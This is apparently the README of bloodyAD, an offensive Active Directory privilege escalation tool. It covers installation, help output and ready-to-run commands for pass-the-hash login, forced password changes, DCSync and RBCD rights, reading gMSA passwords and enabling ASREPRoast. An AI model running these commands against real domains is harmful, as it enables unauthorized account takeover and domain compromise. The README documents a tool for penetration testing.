bigbrobro / bloodyAD

BloodyAD is an Active Directory Privilege Escalation Framework

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bloodyAD.py is an Active Directory privilege escalation swiss army knife

Description

This tool can perform specific LDAP/SAMR calls to a domain controller in order to perform AD privesc.

bloodyAD supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc.

It is designed to be used transparently with a SOCKS proxy.

Installation

First if you run it on Linux, you must have libkrb5-dev installed on your OS in order for kerberos to work:

# Debian/Ubuntu/Kali
apt-get install libkrb5-dev

# Centos/RHEL
yum install krb5-devel

# Fedora
dnf install krb5-devel

# Arch Linux
pacman -S krb5

A python package is available:

pip install bloodyAD
bloodyAD --host 172.16.1.15 -d bloody.local -k changePassword john.doe 'Password123!'

Or you can clone the repo:

git clone --depth 1 https://github.com/CravateRouge/bloodyAD
pip install .
bloodyAD --host 172.16.1.15 -d bloody.local -k changePassword john.doe 'Password123!'

Dependencies

  • Python 3
  • DSinternals
  • Impacket
  • Ldap3
  • Gssapi (linux) or Winkerberos (Windows)

Usage

Simple usage:

bloodyAD --host 172.16.1.15 -d bloody.local -u jane.doe -p :70016778cb0524c799ac25b439bd6a31 changePassword john.doe 'Password123!'

Note: You can find more examples on https://cravaterouge.github.io/

List of all available functions:

[bloodyAD]$ bloodyAD -h
usage: bloodyAD [-h] [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k] [-c CERTIFICATE] [-s] [--host HOST]
                   {getObjectAttributes,setAttribute,addUser,addComputer,delObject,changePassword,addObjectToGroup,addForeignObjectToGroup,delObjectFromGroup,getChildObjects,setShadowCredentials,setGenericAll,setOwner,setRbcd,setDCSync,setUserAccountControl}
                   ...

AD Privesc Swiss Army Knife

Main options:
  -h, --help            show this help message and exit
  -d DOMAIN, --domain DOMAIN
                        Domain used for NTLM authentication
  -u USERNAME, --username USERNAME
                        Username used for NTLM authentication
  -p PASSWORD, --password PASSWORD
                        Cleartext password or LMHASH:NTHASH for NTLM authentication
  -k, --kerberos
  -c CERTIFICATE, --certificate CERTIFICATE
                        Certificate authentication, e.g: "path/to/key:path/to/cert"
  -s, --secure          Try to use LDAP over TLS aka LDAPS (default is LDAP)
  --host HOST           Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)

Commands:
  {getObjectAttributes,setAttribute,addUser,addComputer,delObject,changePassword,addObjectToGroup,addForeignObjectToGroup,delObjectFromGroup,getChildObjects,setShadowCredentials,setGenericAll,setOwner,setRbcd,setDCSync,setUserAccountControl}
                        Function to call

Help text to use a specific function:

[bloodyAD]$ bloodyAD --host 172.16.1.15 -d bloody.local -u jane.doe -p :70016778cb0524c799ac25b439bd6a31 changePassword -h
usage: 
    Change the target password without knowing the old one using LDAPS or RPC
    Args:
        identity: sAMAccountName, DN, GUID or SID of the target (You must have write permission on it)
        new_pass: new password for the target
    
       [-h] [func_args ...]

positional arguments:
  func_args

optional arguments:
  -h, --help  show this help message and exit

How it works

bloodyAD communicates with a DC using mainly the LDAP protocol in order to get information or add/modify/delete AD objects. A password cannot be updated with LDAP, it must be a secure connection that is LDAPS or SAMR. A DC doesn't have LDAPS activated by default because it must be configured (with a certificate) so SAMR is used in those cases. Exchange of sensitive information such as passwords are now supported using cleartext LDAP.

Useful commands

# Get group members
bloodyAD -u john.doe -d bloody -p Password512! --host 192.168.10.2 getObjectAttributes Users member 

# Get minimum password length policy
bloodyAD -u john.doe -d bloody -p Password512! --host 192.168.10.2 getObjectAttributes 'DC=bloody,DC=local' minPwdLength

# Get AD functional level
bloodyAD -u Administrator -d bloody -p Password512! --host 192.168.10.2 getObjectAttributes 'DC=bloody,DC=local' msDS-Behavior-Version

# Get all users of the domain
bloodyAD -u john.doe -d bloody -p Password512! --host 192.168.10.2 getChildObjects 'DC=bloody,DC=local' user

# Get all computers of the domain
bloodyAD -u john.doe -d bloody -p Password512! --host 192.168.10.2 getChildObjects 'DC=bloody,DC=local' computer

# Get all containers of the domain
bloodyAD -u john.doe -d bloody -p Password512! --host 192.168.10.2 getChildObjects 'DC=bloody,DC=local' container

# Enable DONT_REQ_PREAUTH for ASREPRoast
bloodyAD -u Administrator -d bloody -p Password512! --host 192.168.10.2 setUserAccountControl john.doe 0x400000

# Disable ACCOUNTDISABLE
bloodyAD -u Administrator -d bloody -p Password512! --host 192.168.10.2 setUserAccountControl john.doe 0x0002 False

# Get UserAccountControl flags
bloodyAD -u Administrator -d bloody -p Password512! --host 192.168.10.2 getObjectAttributes john.doe userAccountControl

# Read GMSA account password
bloodyAD -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes gmsaAccount$ msDS-ManagedPassword

# Read quota for adding computer objects to domain
bloodyAD -u john.doe -d bloody -p Password512! --host 192.168.10.2 getObjectAttributes 'DC=bloody,DC=local' ms-DS-MachineAccountQuota

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BloodyAD is an Active Directory Privilege Escalation Framework

License:MIT License


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